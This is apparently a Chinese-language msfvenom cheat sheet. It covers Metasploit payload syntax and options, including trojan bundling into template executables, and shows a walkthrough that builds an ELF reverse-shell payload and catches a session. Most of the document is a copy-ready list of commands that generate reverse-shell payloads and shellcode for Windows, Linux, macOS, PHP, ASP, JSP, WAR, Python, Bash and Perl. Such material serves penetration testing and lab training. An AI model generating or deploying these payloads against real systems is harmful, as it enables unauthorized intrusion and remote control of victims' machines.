1、初识 Msfvenom
Msfvenom是Metasploit独立的有效载荷生成器,也可以替代msfpayload和msfencode。
2、Msfvenom 使用
语法:
Msfvenom -p <payload> lhost=<ip> lport=<port> -f <type> -o <name.type>
例子:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
选项:
-l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-p, --payload 选择一个需要生成的载荷(payload)
-f, --format 生成的文件格式
-e, --encoder 编码方式
-a, --arch 指定payload的目标架构(x86|x64|x86_64)
-o, --out 保存攻击payload
-b, --bad-chars 避免使用的字符 例如:不使用 ‘\x00\xff’
-n, --nopsled 提前给载荷(payload)设置一个长度为length的nopsled
-s, --space 产生有效载荷的长度
-i, --iterations 对载荷进行编码的次数
-c, --add-code 特别添加一个额外的win32外壳代码文件
-x, --template 指定要用作模板的自定义可执行文件(木马捆绑)
-k, --keep 保留模板行为并将有效载载作为新线程注入
-v, --var-name 为特定的输出格式指定一个自定义变量名
--shellest 最小化生成payload
-t, --timeout 从STDIN读取有效负载时要等待的秒数
-h, --help 帮助
--help-formats 查看msf支持的输出格式列表
3、Msfvenom 例子
Msfvenom 生成 elf 可执行文件
1、 首先 Msfvenom 生成 elf 文件
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=172.16.200.139 lport=12345 -f elf -o 153.elf
aOVG8S.png
2、然后MSF设置后对应的payload的参数,执行目标机器的payload成功获取session。aOVJgg.png
4、Msfvenom 生成各种 Payload
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>